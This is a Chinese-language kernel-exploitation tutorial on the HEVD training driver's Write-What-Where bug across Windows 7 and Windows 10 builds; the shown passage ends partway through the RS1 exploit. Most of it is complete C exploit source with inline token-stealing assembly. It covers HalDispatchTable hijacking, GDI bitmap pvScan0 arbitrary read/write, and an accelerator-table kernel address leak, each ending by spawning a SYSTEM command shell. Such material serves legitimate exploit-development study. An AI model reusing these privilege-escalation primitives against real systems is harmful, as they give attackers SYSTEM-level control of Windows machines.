行业新闻

从TH2到RS3看WWW漏洞的攻与防

从TH2到RS3看WWW漏洞的攻与防

 

0x0:注意点&&环境

~多图预警~

环境

我使用的环境
物理机OS:windows 10
虚拟机OS:win7_x86&&win10_x64_1511( TH2 )&&win10_x64_1607( RS1 )&&win10_x64_1703( RS2 )&&win10_x64_1709( RS3 )
VMware:VMware Workstation 15 Pro
编译器:vs2019
驱动: HEVD 1.2
驱动加载工具:VirtualKD-Redux-2021.2
调试器:Microsoft Store上直接下的windbg preview版

要注意的地方&&一些知识点

要注意的地方就一点,就是把虚拟机的网络给ban掉,不然它会把你的exploit给删掉,还会出现很奇怪的错误,不利于学习.

 

0x01:漏洞点

漏洞点其实很简单,就是指针滥用.上图~~~

然后效果的话,大概是这样

 

0x02:win7_x86下的WWW(Write-What-Where)

其实这个相当于番外,不影响后面的观看体验.
这里我们依旧采取的是替换Token的方式.如果你不知道怎么替换Token,推荐阅读我的上一篇文章HEVD驱动栈溢出&&WIN10 SMEP 绕过
我们有WWW漏洞了,那么我们该怎么替换Token呢?
其实我们这里用到了 NtQueryIntervalProfile 函数和 HalQuerySystemInformation 函数.上图

不过我这里是直接将 HalDispatchTable+0x4 地址改成 shellcode的地址.(emmm不知道这么回事我这里没法看NtQueryIntervalProfile 函数和 HalQuerySystemInformation 函数的反汇编).大概是这么一行关键代码

call    dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]

exp也挺简单的,找到 HalDispatchTable+0x4 的地址后用漏洞改成shellcode的地址就可以了.代码:

#include<Windows.h>
#include<stdio.h>
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define IO_COMPLETION_OBJECT 1
#define STATUS_SUCCESS 0x00000000
#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

HANDLE open_device(const char* device_name)
{
    HANDLE device = CreateFileA(device_name,
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
    );
    return device;
}

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID                   SystemInformation,
    IN ULONG                    SystemInformationLength,
    OUT PULONG                  ReturnLength);

#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    PVOID  Unknown1;
    PVOID  Unknown2;
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

#define p printf;
NtQuerySystemInformation_t NtQuerySystemInformation;
PVOID GetHalDispatchTable() {
    PVOID HalDispatchTable = 0;
    SIZE_T ReturnLength;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
    if (!hNtDll) {
        printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
    }

    NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
    if (!NtQuerySystemInformation) {
        printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);

    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
        HEAP_ZERO_MEMORY,
        ReturnLength);
    if (!pSystemModuleInformation) {
        printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtStatus = NtQuerySystemInformation(SystemModuleInformation,
        pSystemModuleInformation,
        ReturnLength,
        &ReturnLength);
    if (NtStatus != STATUS_SUCCESS) {
        printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    PVOID KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
    PCHAR KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
    printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
    printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);

    HMODULE hKernelInUserMode = LoadLibraryA(KernelImage);
    if (!hKernelInUserMode) {
        p("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
    if (!HalDispatchTable) {
        p("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
    }
    else {
        HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)hKernelInUserMode);
        HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)KernelBaseAddressInKernelMode);
        ("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable);
    };
    HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
    if (hNtDll) {
        FreeLibrary(hNtDll);
    }

    if (hKernelInUserMode) {
        FreeLibrary(hKernelInUserMode);
    }

    hNtDll = NULL;
    hKernelInUserMode = NULL;
    pSystemModuleInformation = NULL;
    return HalDispatchTable;
}

typedef struct _WRITE_WHAT_WHERE {
    PULONG What;
    PULONG Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;

VOID TokenStealingPayloadWin7Generic() {
    // No Need of Kernel Recovery as we are not corrupting anything
    __asm {
        pushad; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax; Set ZERO
        mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
        ; _KTHREAD is located at FS : [0x124]

        mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

        mov ecx, eax; Copy current process _EPROCESS structure

        mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
            ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub

            popad; Restore registers state
    }
}

typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
    OUT PULONG Interval);

int main()
{
    ULONG Interval = 0;
    PVOID EopPayload = &TokenStealingPayloadWin7Generic;
    ULONG BytesReturned = NULL;
    HANDLE hFile = open_device(kDevName);
    PVOID HalDispatchTable = GetHalDispatchTable();
    PVOID HalDispatchTablePlus4 = (PVOID)((ULONG)HalDispatchTable + sizeof(PVOID));
    PWRITE_WHAT_WHERE WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
        HEAP_ZERO_MEMORY,
        sizeof(WRITE_WHAT_WHERE));
    WriteWhatWhere->What = (PULONG)&EopPayload;
    WriteWhatWhere->Where = (PULONG)HalDispatchTablePlus4;
    DeviceIoControl(hFile,
        HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
        (LPVOID)WriteWhatWhere,
        sizeof(WriteWhatWhere),
        NULL,
        0,
        &BytesReturned,
        NULL);
    //__debugbreak();
    HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
    NtQueryIntervalProfile(0x666, &Interval);
    HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);

    WriteWhatWhere = NULL;
    CreateCmd();
    system("pause");
}

值得一提的是 NtQueryIntervalProfile 这个函数的第一个参数不能是0和1,详细可以参考<0day安全>和.
可以看到最后是成功了的.

 

0x03:TH2(WIN10_X64_1511)下的WWW

TH2下的WWW利用主要用到了一个叫做 bitmap 的对象.而bitmap内核对象中有个叫做 pvScan0 的指针,指向结构中的一块数据区域.

再加上 SetBitmapBits 函数和 GetBitmapBits 函数能对 pvScan0 进行读写,所以如果我们能改掉 pvScan0 指针,使其中一个bitmap对象的pvScan0指针指向另一个bitmap对象的pvScan0指针,就能进行任意地址读写.如图

这里创建了两个bitmap对象,其中一个叫hManager,另一个叫hWorker(当然叫其他的也可以),我们用WWW漏洞把hWorker的pvScan0指针覆盖掉,这样当我们对hManager用SetBitmapBits函数进行任意写时,改的就是hWorker的pvScan0指针.当我们对hWorker用GetBitmapBits/SetBitmapBits函数进行读/写时,读写的内容就是hManager传递过来的指针的值.
那么问题来了,GetBitmapBits/SetBitmapBits函数怎么使用呢?
其中SetBitmapBits函数长这样:

LONG SetBitmapBits(
  HBITMAP    hbm,
  DWORD      cb,
  const VOID *pvBits
);

GetBitmapBits类似
其中第一个参数是句柄,使用CreateBitmap函数创建bitmap对象就能得到.像这样:

HBITMAP hManager = CreateBitmap(0x64, 0x64, 1, 32, NULL);

第二个参数是第三个参数指向的字节数,可以理解为要读写的数据长度.
第三个参数就是pvScan0指针.怎么得到呢?
直接上代码.参考

DWORD64 getpvScan0Address(HBITMAP handle) {
    printf("    handle value: 0x%p\n", (DWORD64)handle);

    DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
    printf("    tebAddr: 0x%p\n", tebAddr);

    DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
    printf("    pebAddr: 0x%p\n", pebAddr);

    DWORD64 GdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
    printf("    GdiSharedHandleTableAddr: 0x%p\n", GdiSharedHandleTableAddr);

    // GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针
    // GDICELL 结构体 x86 0x10,x64 0x18
    DWORD64 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD64)handle & 0xffff) * 0x18;
    printf("    pKernelAddress: 0x%p\n", pKernelAddress);

    DWORD64 surfaceObject = *(PDWORD64)pKernelAddress;
    printf("    surfaceObject address: 0x%p\n", surfaceObject);
    // BASEOBJECT 结构体 x86 0x10,x64 0x18
    // pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38
    DWORD64 pvScan0Address = surfaceObject + 0x18 + 0x38;
    printf("    pvScan0 address: 0x%p\n", pvScan0Address);

    return pvScan0Address;
}

然后就是替换Token了,原理是一样的,不过由汇编语言变成了C语言.
我的exploit:

#include<stdio.h>
#include<Windows.h>



typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemModuleInformation = 11,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG NumberOfModules;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

DWORD64 getpvScan0Address(HBITMAP handle) {
    printf("    handle value: 0x%p\n", (DWORD64)handle);

    DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
    printf("    tebAddr: 0x%p\n", tebAddr);

    DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
    printf("    pebAddr: 0x%p\n", pebAddr);

    DWORD64 GdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
    printf("    GdiSharedHandleTableAddr: 0x%p\n", GdiSharedHandleTableAddr);

    // GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针
    // GDICELL 结构体 x86 0x10,x64 0x18
    DWORD64 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD64)handle & 0xffff) * 0x18;
    printf("    pKernelAddress: 0x%p\n", pKernelAddress);

    DWORD64 surfaceObject = *(PDWORD64)pKernelAddress;
    printf("    surfaceObject address: 0x%p\n", surfaceObject);
    // BASEOBJECT 结构体 x86 0x10,x64 0x18
    // pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38
    DWORD64 pvScan0Address = surfaceObject + 0x18 + 0x38;
    printf("    pvScan0 address: 0x%p\n", pvScan0Address);

    return pvScan0Address;
}

VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
    SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
                                               // 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
    GetBitmapBits(hWorker, len, whatWrite);
}

VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
    SetBitmapBits(hManager, len, &whereWrite);
    SetBitmapBits(hWorker, len, &whatWrite);
}

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main() {
    HBITMAP hManager = CreateBitmap(0x64, 0x64, 1, 32, NULL);
    HBITMAP hWorker = CreateBitmap(0x64, 0x64, 1, 32, NULL);

    LPVOID lpSystemEPROCESS = NULL;
    DWORD len = 0;

    PSYSTEM_MODULE_INFORMATION  moduleInfo = NULL;
    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    typedef struct _payload {
        PULONG what;
        PULONG where;
    } Payload, * PPayload;

    DWORD64 ManagerpvScan0Address = getpvScan0Address(hManager);
    //printf("manger pvscan0 address is  %p\n", ManagerpvScan0Address);
    DWORD64 WorkerpvScan0Address = getpvScan0Address(hWorker);
    //printf("worker pvscan0 address is  %p\n", WorkerpvScan0Address);
    PPayload  payload = (PPayload)HeapAlloc(GetProcessHeap(),
        HEAP_ZERO_MEMORY,
        sizeof(Payload));

    payload->what = (PULONG)&WorkerpvScan0Address;
    payload->where = (PULONG)ManagerpvScan0Address;
    DWORD BytesReturned = 0;
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
    DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
    //__debugbreak();
    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
    LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
    //printf("aaaaaa\n");
    printf("[+]kernel name is: %s\n", lpkernelName);
    LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
    HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
    FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");

    LPVOID lpSysProcID = NULL;
    LPVOID lpSystemToken = NULL;
    LIST_ENTRY lpNextEntryAddreess;
    FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
    printf("addr              ======%p\n", pLiveFunctionAddress);
    readOOB(hManager, hWorker, (DWORD64)pLiveFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
    readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2e8), &lpSysProcID, sizeof(LPVOID));
    readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x358), &lpSystemToken, sizeof(LPVOID));
    readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
    printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
    printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
    printf("[+]system process token value is: 0x%p\n", lpSystemToken);
    printf("[+]system process PID is: 0x%p\n", lpSysProcID);
    DWORD64 currentProcessID = GetCurrentProcessId();
    printf("currentProcessID     ---->0x%x\n", currentProcessID);
    LPVOID lpNextEPROCESS = NULL;
    LPVOID lpCurrentPID = NULL;
    LPVOID lpCurrentToken = NULL;
    DWORD dwCurrentPID;
    do
    {
        lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2f0;
        readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e8), &lpCurrentPID, sizeof(LPVOID));
        dwCurrentPID = LOWORD(lpCurrentPID);
        printf("dwCurrentPID     ---->0x%x\n", dwCurrentPID);
        readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpNextEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
    } while (dwCurrentPID != currentProcessID);

    DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
    printf("[+]Start to write token");
    writeOOB(hManager, hWorker, currentTokenAddress, lpSystemToken, sizeof(LPVOID));
    printf(" => done!\n");
    CreateCmd();
    system("pause");
    return 0;
}

可以看到最后是成功了的.

总结一下这次漏洞利用的过程:
1.创建两个bitmap对象
2.找到两个bitmap对象的pvScan0地址
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token

 

0x04:RS1(win10_x64_1607)下的WWW

接下来我们来到RS1下的WWW.

我们直接拿着TH2下的exp运行,发现直接蓝屏了.

嗯?怎么回事?查阅资料后,你会发现这个:

哦,原来”Leaking kernel addresses by reading user32!gSharedInfo structure”被kill掉了.
那么图中提到的 user32!gSharedInfo 是什么呢?我觉得可以对应上TH2下的这段代码

DWORD64 getpvScan0Address(HBITMAP handle) {
    ......
}

然后调试发现确实不能用了

那怎么办呢?记住一句话,攻与防从来都是相对的.
先上图

看第二段,我们可以通过 AcceleratorTables 间接泄露.对应到这段代码:

    PUSER_HANDLE_ENTRY leakAddr = NULL;
    PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle("user32.dll"), "gSharedInfo");
    PUSER_HANDLE_ENTRY handleTable = gSharedInfo->aheList;

    int nSize = 698;

    LPACCEL lPaccel = NULL;
    // LPTR 意为 LMEM_FIXED | LMEM_ZEROINIT,即分配固定内存并初始化为 0
    lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);

    HACCEL hAccel_1 = NULL;

    hAccel_1 = CreateAcceleratorTable(lPaccel, nSize);

    leakAddr = &handleTable[LOWORD(hAccel_1)];
    DWORD64 hManagerAddr = (DWORD64)(leakAddr->pKernel);
    //printf("Manager bitmap addr: 0x%p\n", hManagerAddr);
    DestroyAcceleratorTable(hAccel_1);
    HBITMAP hManagerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);

    HACCEL hAccel_2 = NULL;

    hAccel_2 = CreateAcceleratorTable(lPaccel, nSize);

    leakAddr = &handleTable[LOWORD(hAccel_2)];
    DWORD64 hWorkerAddr = (DWORD64)(leakAddr->pKernel);
    //printf("Worker bitmap addr: 0x%p\n", hWorkerAddr);
    DestroyAcceleratorTable(hAccel_2);

需要注意的是这里要定义很多结构体.
泄露了地址之后,其他的就跟TH2下的利用一样了.代码贴贴:

#include <windows.h>
#include<stdio.h>




typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemModuleInformation = 11,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );



typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
    IN ULONG ProfileSource,
    OUT PULONG Interval
    );

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG NumberOfModules;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SERVERINFO {
    DWORD dwSRVIFlags;
    DWORD cHandleEntries;
    WORD wSRVIFlags;
    WORD wRIPPID;
    WORD wRIPError;
} SERVERINFO, * PSERVERINFO;

typedef struct _USER_HANDLE_ENTRY {
    void* pKernel;
    union
    {
        PVOID pi;
        PVOID pti;
        PVOID ppi;
    };
    BYTE type;
    BYTE flags;
    WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;

typedef struct _SHAREDINFO {
    PSERVERINFO psi;
    PUSER_HANDLE_ENTRY aheList;
    ULONG HeEntrySize;
    ULONG_PTR pDispInfo;
    ULONG_PTR ulSharedDelts;
    ULONG_PTR awmControl;
    ULONG_PTR DefWindowMsgs;
    ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;


typedef struct _payload {
    PULONG_PTR what;
    PULONG_PTR where;
} Payload, * PPayload;

VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
    SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
                                               // 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
    GetBitmapBits(hWorker, len, whatWrite);
}

VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
    SetBitmapBits(hManager, len, &whereWrite);
    SetBitmapBits(hWorker, len, &whatWrite);
}

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


int main()
{



    PUSER_HANDLE_ENTRY leakAddr = NULL;
    PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle("user32.dll"), "gSharedInfo");
    PUSER_HANDLE_ENTRY handleTable = gSharedInfo->aheList;

    int nSize = 698;

    LPACCEL lPaccel = NULL;
    // LPTR 意为 LMEM_FIXED | LMEM_ZEROINIT,即分配固定内存并初始化为 0
    lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);

    HACCEL hAccel_1 = NULL;

    hAccel_1 = CreateAcceleratorTable(lPaccel, nSize);

    leakAddr = &handleTable[LOWORD(hAccel_1)];
    DWORD64 hManagerAddr = (DWORD64)(leakAddr->pKernel);
    //printf("Manager bitmap addr: 0x%p\n", hManagerAddr);
    DestroyAcceleratorTable(hAccel_1);
    HBITMAP hManagerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);

    HACCEL hAccel_2 = NULL;

    hAccel_2 = CreateAcceleratorTable(lPaccel, nSize);

    leakAddr = &handleTable[LOWORD(hAccel_2)];
    DWORD64 hWorkerAddr = (DWORD64)(leakAddr->pKernel);
    //printf("Worker bitmap addr: 0x%p\n", hWorkerAddr);
    DestroyAcceleratorTable(hAccel_2);
    HBITMAP hWorkerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
    // ------我是分割线------

    // 到这里我们已经获得 bitmap 的地址了,接下来就跟 RS1 之前一样利用 bitmap 就好了

    DWORD64 ManagerpvScan0Address = hManagerAddr + 0x18 + 0x38;
    printf("Manager pvScan0 Addr: 0x%p\n", ManagerpvScan0Address);
    DWORD64 WorkerpvScan0Address = hWorkerAddr + 0x18 + 0x38;
    printf("Worker pvScan0 Addr: 0x%p\n", WorkerpvScan0Address);

    PPayload payload = NULL;
    // malloc
    payload = (PPayload)HeapAlloc(GetProcessHeap(),
        HEAP_ZERO_MEMORY,
        sizeof(Payload));
    payload->what = (PULONG_PTR)&WorkerpvScan0Address;
    payload->where = (PULONG_PTR)ManagerpvScan0Address;

    printf("payload---->what  %llX\n", payload->what);
    printf("payload->where    %llX\n", payload->where);

    DWORD BytesReturned = 0;
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
    DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);

    // 已经 overwrite 了,接下来就是利用 SetBitmapBits 和 GetBitmapBits 来读写
    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
    PSYSTEM_MODULE_INFORMATION  moduleInfo = NULL;
    DWORD len = 0;
    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    DWORD64 systemEprocessAddr = 0;
    LPVOID lpSystemToken = NULL; // 获取 system 进程的 token
    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
    LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
    //printf("aaaaaa\n");
    printf("[+]kernel name is: %s\n", lpkernelName);
    LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
    HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
    FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
    FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
    printf("pLiveFunctionAddress              ======%p\n", pLiveFunctionAddress);
